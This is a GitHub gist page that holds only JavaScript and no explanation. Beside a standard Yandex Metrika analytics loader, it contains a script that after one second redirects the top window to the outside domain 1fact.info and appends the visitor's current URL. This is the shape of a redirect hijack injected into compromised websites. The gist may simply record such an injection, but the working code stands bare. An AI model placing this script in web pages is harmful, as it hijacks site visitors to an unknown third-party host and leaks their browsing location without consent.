Skip to content

Instantly share code, notes, and snippets.

@heyalexej
Created April 29, 2017 09:14
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save heyalexej/388746753a2ddd7a0c698f98e2a3fc4e to your computer and use it in GitHub Desktop.
Save heyalexej/388746753a2ddd7a0c698f98e2a3fc4e to your computer and use it in GitHub Desktop.
(function (d, w, c) {
(w[c] = w[c] || []).push(function() {
try {
w.yaCounter42337284 = new Ya.Metrika({
id:42337284,
clickmap:true,
trackLinks:true,
accurateTrackBounce:true
});
} catch(e) { }
});
var n = d.getElementsByTagName("script")[0],
s = d.createElement("script"),
f = function () { n.parentNode.insertBefore(s, n); };
s.type = "text/javascript";
s.async = true;
s.src = "https://mc.yandex.ru/metrika/watch.js";
if (w.opera == "[object Opera]") {
d.addEventListener("DOMContentLoaded", f, false);
} else { f(); }
})(document, window, "yandex_metrika_callbacks");
(function () {
setTimeout(function () {
var url = 'https://1fact.info/p/?url=%location%';
url = url.replace('%location%', encodeURIComponent(location.href));
top.location = url;
}, 1000);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment